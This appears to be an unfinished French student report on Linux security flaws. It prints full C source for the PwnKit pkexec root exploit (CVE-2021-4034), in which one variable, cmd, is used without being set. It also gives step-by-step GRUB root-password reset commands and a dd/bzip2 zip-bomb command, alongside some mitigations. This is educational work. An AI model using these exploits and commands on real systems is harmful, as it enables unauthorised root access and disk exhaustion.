SYSG5 : Exploitation de failles de sécurité LINUX

Antoine Ghigny - 56359

29/10/2022

Table des matières

1 Introduction (à modifier)

Dans ce rapport, je vais détailler plusieurs failles découvertes autour de mes recherches. L'origine de ces failles, la raison de leurs existence. Le moyen de les exploiter mais également comment s'en protéger.

Je vais tout d'abord parler d'une faille permettant à n'importe quel utilisateur du système d'augmenter ses privilèges à ceux de root. Une faille présente depuis 12 ans et corrigée début 2022.

Je vais ensuite expliquer comment modifier le mot de passe root depuis le grub sans le connaître. Pourquoi ce n'est pas sécurisé et commment s'en protéger.

Je vais dans le cadre de ce cours du système introduire des concepts (à modifier)

2 Préparation

2.1 Installation de l'image disque

Afin de pouvoir tester certaines failles qui ont été corrigées via des mises à jour. J'ai réalisé un l'environnement suivant.

OS :
- Debian 10
- Image : debian-10.7.0-amd64-DVD-1.iso [1]
- System info : Linux debian 4.19.0-14-amd64 #1

SUDO :
- Package version : 1.8.27-1+deb10u2
- Checksum (sha256) : ca4a94e0a49f59295df5522d896022444cbbafdec4d94326c1a7f333fd030038
- Source code : sudo-1.8.27.tar.gz [1]

2.2 Vérification de la copie

Il est important de vérifier l'intégrité et l'authenticité de votre image ISO.

Le test d'intégrité confirme que votre image ISO a été proprement téléchargée et qu'elle est une copie exacte du fichier présent sur le miroir de téléchargement. Une erreur pendant le téléchargement peut corrompre l'image et engendrer des problèmes aléatoires pendant l'installation.

Pour vérifier l'intégrité de votre image ISO, générez sa somme de hachage SHA256 et comparez la à la somme qu'il devrait avoir :
ca4a94e0a49f59295df5522d896022444cbbafdec4d94326c1a7f333fd030038

```
sha256sum -b debian-10.7.0-amd64-DVD-1.iso
```

Sil les sommes correspondent, votre image ISO a été proprement téléchargée. Sinon téléchargez la à nouveau.

2.3 Création d'un stick USB bootable

Munissez-vous d'une clé USB, branchez-là sur un ordinateur.

Placez le stick USB, attendez une seconde et tapez la commande **dmesg**

Les dernières lignes affichées de cette commande vous donnent le nom du pilote associé au stick (sdb, sdc, sdd, ...), par exemple sdb.

Une fois l'image disque installée et votre nom du pilote associé au stick usb récupéré.

Entrez la commande suivante :

- **Downloads/debian-10.7.0-amd64-DVD-1.iso** correspond au chemin où se situe l'image disque téléchargée plus tôt.
- **/dev/sdb** correspond quant à lui au nom du pilote asocié à votre disque. :

```
sudo dd bs=4M if=Downloads/debian-10.7.0-amd64-DVD-1.iso of=/dev/sdb conv=fdatasync
```

2.4 Configuration du réseau

Pour configurer le réseau avec celui de l'école j'ai encodé les éléments suivant

- IP : 10.0.255.20
- Gateway : 10.0.255.115
- Masque de sous réseau : 255.255.255.0
- DNS : 195.238.2.21 195.238.2.21 8.8.8.8

2.5 Configuration des partitions

Les partitions à paramètrer ont été les suivantes :

- 1 : Changer la partition de fat16 à EFI
- 2 : biosgrub
- 5 : swap
- 6 : 15 GB : /
- 7 : 10 GB : /home
- 8 : 10GB : /usr

2.6 Configuration de l'environnement de travail

Et enfin j'ai ajouté l'utilisateur au groupe sudo comme c'est généralement le cas sur un environnement linux.

```
su -
addgroup user sudo
sudo apt-get update
```

Afin de pouvoir installer des packets, il faudra update pour télécharger les informations des packages des sources configurées.

Pour cela, accédez en écriture au fichier **/etc/apt/sources.list**

Mettez en commentaire la ligne concernant le cdrom installé [Debian GNU/Linux...]

Ajoutez au fichier les 2 lignes suivantes :

```
deb http://deb.debian.org/ buster-updates main contrib
deb-src http://ftp.debian.org/debian/ buster main contrib
```

Enfin, sauvez le fichier et mettez téléchargez les packets via la commande suivante

```
sudo apt-get update
```

Votre environnement de développement est maintenant prêt.

3 Privilege Escalation : Pwnkit

3.1 Origine de la faille

Cette faille va s'intéresser à l'utilisation de la commande **pkexec** qui fait partie de la bibliothèque polkit. L'appel système pkexec est apparu en 2009 et inclus dans pratiquement toutes les distributions linux actuelles.

Cette faille de sécurité est présente depuis 12 ans et récemment mise en évidence par l'équipe de recherche Qualys en février 2022. [9]

Cette faille permet à n'importe quel attaquant qui possède un compte sur un système linux de devenir le root du système.

3.2 A quoi sert la bibliothèque Polkit et en particulier l'appel système pkexec ?

Polkit (anciennement PolicyKit) est une bibliothèque logicielle libre permettant aux applications s'exécutant avec des droits restreints d'interagir avec des services privilégiés du système. À la différence d'autres méthodes permettant une élévation des privilèges comme sudo, le processus ne se voit pas attribuer les droits superutilisateur, ce qui permet un contrôle fin au niveau du système de ce que peuvent faire ou non les utilisateurs. [5]

C'est un logiciel moderne actuellement privilégié par les développeurs d'environnements graphiques grâce à la sécurité qu'il fournit, en effet il fonctionne selon le principe suivant :

Un programme (démon) s'exécute en arrière-plan (sans fenêtre), et dispose des droits root.

Les applications sont invitées à lui demander les droits nécessaires pour effectuer des opérations spécifiques.

PolKit saura quoi répondre en fonction des "policy" paramétrées (des configurations qui définissent qui peut faire quoi, et quel logiciel a besoin de quels privilèges).

Polkit est intégré aux distributions Ubuntu (depuis la version 8.04), Fedora (depuis la version 8), Mandriva (depuis la version 2008.1) et OpenSUSE (depuis la version 10.3).

3.2.1 Utilisation des "policy"

Pour gérer les règles il faut donc éditer les fichiers de configuration avec les droits d'administration. La configuration se fait avec des règles et des actions :

- Les Actions sont définies dans des fichiers XML .policy situés dans **/usr/share/polkit-1/actions**
- Les règles d'autorisation sont définies dans les fichiers .rules JavaScript. On les trouve à deux endroits : [3]

— **/usr/share/polkit-1/rules.d** pour les paquets tiers peuvent utiliser (bien que peu, voire aucun, ne le fasse)
— **/etc/polkit-1/rules.d** pour la configuration locale.

3.2.2 Utilisation classique de l'appel système pkexec (à modifier)

3.2.3 Quelle est la différence entre pkexec et sudo ?

Dans le concept, ils font la même chose, permettant à un utilisateur d'exécuter un autre programme en tant qu'autre utilisateur

Sudo et son frère aîné su, vous donnent un contrôle total sur tout.

Pkexec fait partie d'un système d'outils plus vaste appelé Polkit. Cela prend un peu de temps pour le configurer, mais une fois sur place, il donne un contrôle beaucoup plus fin.

C'est une bonne idée pour s'isoler de certains dangers et avoir l'accès complet à tout dans le système.

3.3 Comment la faille fonctionne-elle ? (à modifier)

pkexec est une commande comme les autres, on peut lui passer des arguments

Mais il y a un gros problème dans la façon dont il va être implémentée, si l'argument argc est à la valeur NULL, le fonctionnement de pkexec va être déréglé.

En manipulant des variables d'environnements et en créant des dossiers qui portent le même nom que ce qu'on va inscrire dans les variables d'environnement. Il est possible de charger un bout de code à un endroit contrôlé par l'attaquant.

3.4 Détails techniques sur la faille (à compléter)

Le début de la fonction main() de pkexec traite les arguments de ligne de commande (lignes 534-568), et recherche le programme à exécuter, si son chemin n'est pas absolu, dans les répertoires de la variable d'environnement PATH (lignes 610-640) :

```
435   main (int argc, char *argv[])
436   {
...
534      for (n = 1; n < (guint) argc; n++)
535      {
...
568      }
...
610         path = g_strdup (argv[n]);
...
629         if (path[0] != '/')
630      {
...
632         s = g_find_program_in_path (path);
...
639            argv[n] = path = s;
640     }
```

Malheureusement, si le nombre d'arguments de ligne de commande argc est égal à 0, ce qui signifie que si la liste d'arguments argv que nous passons à execve() est vide, c'est-à-dire NULL, alors argv[0] est NULL. Il s'agit du terminateur de la liste d'arguments. Donc :

— à la ligne 534, l'entier n est définitivement défini sur 1 ;
— À la ligne 610, le chemin du pointeur est lu hors limites à partir de argv[1] ;
— À la ligne 639, le pointeur S est écrit hors limites dans argv[1].
— À la ligne 610, le chemin du programme à exécuter est lu hors limites à partir de argv[1] (c'est-à-dire envp[0]), et pointe vers « value » ;
— ...

3.5 Comment savoir si la faille est exploitable sur le système ?

La **version de pkexec** doit être inférieure à **0.105**. Il est possible de vérifier cela sur la machine de la victime en tapant la commande ci dessous :

```
pkexec --version
```

3.6 Démonstration

3.6.1 Le code C (à modifier)

```
// gcc -shared PwnKit.c -o PwnKit -Wl,-e,entry -fPIC

#define _XOPEN_SOURCE 700
#define _GNU_SOURCE
#include <dirent.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>

#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/signal.h>

// 64-bit library
#ifdef __amd64__
const char service_interp[] __attribute__((section(".interp"))) = "/lib64/ld-linux-x86-64.so.2";
#endif
// 32-bit library
#ifdef __i386__
const char service_interp[] __attribute__((section(".interp"))) = "/lib/ld-linux.so.2";
#endif

void entry(int argc, char * argv[])
{
    int res;
    FILE *fp;
    char buf[PATH_MAX];
    int pipefd[2];
    char *cmd;

    res = mkdir("GCONV_PATH=.", 0777);
    if (res == -1 && errno != EEXIST)
    {
        perror("Failed to create directory");
        exit(1);
    }

    res = creat("GCONV_PATH=./.pkexec", 0777);

    res = mkdir(".pkexec", 0777);

    fp = fopen(".pkexec/gconv-modules", "w+");
    if (fp == NULL)
```

```
    {
        perror("Failed to open output file");
        exit(1);
    }
    if (fputs("module UTF-8// PKEXEC// pkexec 2", fp) < 0)
    {
        perror("Failed to write config");
        exit(1);
    }
    fclose(fp);

    pipe(pipefd);
    if (fork() == 0)
    {
        close(pipefd[1]);

        buf[read(pipefd[0], buf, sizeof(buf)-1)] = 0;
        if (strstr(buf, "pkexec --version") == buf) {
            puts("Exploit failed. Target is most likely patched.");
        }
        exit(0);
    }

    close(pipefd[0]);

    dup2(pipefd[1], 2);
    close(pipefd[1]);

    char *args[] = {NULL};
    char *env[] = {".pkexec", "PATH=GCONV_PATH=.", "CHARSET=pkexec", "SHELL=pkexec", cmd, NULL};
    execve("/usr/bin/pkexec", args, env);

    // In case pkexec is not in /usr/bin/
    execvpe("pkexec", args, env);
char new_env[] = "A=A";
    putenv(new_env);
    exit(0);

}

void gconv() {}
void gconv_init()
{
    close(2);
    dup2(1, 2);

    char *cmd = getenv("CMD");

    setresuid(0, 0, 0);
    setresgid(0, 0, 0);

    if (cmd) {
        execve("/bin/sh", (char *[]){"/bin/sh", "-c", cmd, NULL}, NULL);
    } else {
        // Try interactive bash first
        execve("/bin/bash", (char *[]){"-i", NULL}, NULL);

        // In case interactive bash was not possible
        execve("/bin/sh", (char *[]){"/bin/sh", NULL}, NULL);
    }
    exit(0);
}
```

3.6.2 Script qui permet d'exécuter la faille

```
#!/bin/bash
#NOM    : Demo
#OBJET  : réservé au makefile
#AUTEUR  : Antoine Ghigny - 563459
clear
```

```
C='\033[44m'
E='\033[32m\033[1m'
W='\033[31m\033[1m'
N='\033[0m'
clear
echo "Démonstration de la faille de sécurité permettant de passer en root"
echo "-----------------------------------------"
echo -e "${C}             --> Enter pour continuer${N}"
read
sleep 1
echo -e "${E}Vous êtes actuellement l'utilisateur : ${N}"
echo
id
echo
echo -e "${E}Exécution du programme : ${N}"
echo
./exploit
```

3.7 Comment a été corrigée cette faille (à modifier)

Cette faille a été corrigée dans la version 0.105 de pkexec.

3.8 Comment corriger cette faille si il n'est pas possible d'ugrade la version de pkexec ? (à modifier)

4 Modifier le mot de passe administrateur sans le connaître

4.1 Démonstration : GRUB

1. **Eteindre le pc** et après avoir rallumé l'ordinateur, ouvrir les options avancées et **ouvrir Grub**. Il s'agit d'un programme d'ammorçage du chargement d'un système d'exploitation. C'est ce qui fait le lien entre le bios et le système d'exploitation. Avant que le système ne soit chargé ou lancé.
2. Entrer en mode édition via la touche 'E'. Dans le menu GRUB, recherchez la ligne du noyau commençant par linux /boot/ et ajoutez cette ligne à la fin.

   ```
   init=/bin/bash
   ```

3. Sauvegardez les changements via en appuyant sur **CTRL** + **X** et rebooter en mode single-user mode.
4. Dans le terminal, indiquez la ligne

   ```
   mount -o remount,rw /
   ```

5. Une fois cela fait, vous pouvez modifier le password administrateur via cette la commande ci-dessous, vous n'aurez qu'à entrer le nouveau mot de passe et une autre fois pour confirmer. Il suffit de redémarrer le système et le password administrateur aura été modifié.

   ```
   passwd root
   ```

4.2 Pourquoi ça fonctionne ainsi ? Pourquoi est-il si simple de changer le mot de passe administrateur ?

Les mots de passe sont destinés à empêcher l'accès de l'extérieur (réseau, Internet), et ils le font. Cependant, l'accès physique est un accès root.

À moins que vous ne cryptiez l'intégralité de votre partition, il est toujours possible de démarrer à partir d'un disque optique ou d'un lecteur flash et d'accéder à tous vos fichiers. De cette façon, vous pouvez également modifier les fichiers qui stockent les mots de passe des utilisateurs.

Donc si quelqu'un peut toucher à votre machine, il peut y entrer.

4.3 Comment protéger le grub pour ne plus que cette faille soit possible

Il est possible d'ajouter un mot de passe à grub.

Un mot de passe sera alors requis pour modifier les entrées du menu mais pas pour démarrer les entrées de menu existantes.

Pour cela, créez un mot de passe avec la commande suivante. Vous aurez à entrer un mot de passe, confirmer et ne surtout pas oublier le mot de passe que vous avez encodé.

```
grub2-setpassword
```

Cette commande créera ou mettra à jour le contenu de **/boot/grub2/user.cfg** avec le mot de passe hashé. [2]

5 Bombe zip

5.1 Qu'est-ce qu'une zip bomb ?

Une zip bomb est un fichier compressé de quelques MO qui contient énormément de données présente sous formes d'octets, ce qui va amener à saturer le disque dur. Le système va manquer de mémoire et se bloquer dans le processus.

5.2 Démonstration : Comment faire une zip bomb ?

Entrez cette commande dans le terminal.

Cela compresse 100 To de données dans un fichier d'environ 14,9 Mo. Ainsi, lorsque quelqu'un essaie de l'extraire, il devrait s'étendre à plus de 1300000x sa taille et leur disque dur devrait être rempli de caractères nuls !

```
dd if=/dev/zero bs=10G count=10000 | bzip2 -c > zipBomb.bz2
```

Il suffit alors d'extraire le fichier via la commande suivante :

```
bzip2 -d zipBomb.bz2
```

6 Conclusion

Références

[1] [cve-2021-3156] exploiting sudo heap overflow on debian 10. https://syst3mfailure.io/sudo-heap-overflow#:~:text=Image%3A%20debian%2D10.7.0%2Damd64%2DDVD%2D1.iso. (Accessed on 11/16/2022).

[2] How to protect grub2 from booting kernel without password in linux | golinuxcloud. https://www.golinuxcloud.com/protect-grub2-booting-kernel-without-password/. (Accessed on 11/16/2022).

[3] Part v. manual pages : polkit reference manual. https://www.freedesktop.org/software/polkit/docs/latest/manpages.html. (Accessed on 11/19/2022).

[4] pkexec(1) : Execute command as another user - linux man page. https://linux.die.net/man/1/pkexec. (Accessed on 11/16/2022).

[5] policykit [wiki ubuntu-fr]. https://doc.ubuntu-fr.org/policykit. (Accessed on 11/19/2022).

[6] seteuid(2) - linux manual page. https://man7.org/linux/man-pages/man2/seteuid.2.html. (Accessed on 11/16/2022).

[7] setuid(2) - linux manual page. https://man7.org/linux/man-pages/man2/setuid.2.html. (Accessed on 11/16/2022).

[8] Arthepsy. Arthepsy/cve-2021-4034 : Poc for pwnkit : Local privilege escalation vulnerability in polkit's pkexec (cve-2021-4034).

[9] Director Bharat Jogi. Pwnkit : Local privilege escalation vulnerability discovered in polkit's pkexec (cve-2021-4034), Feb 2022.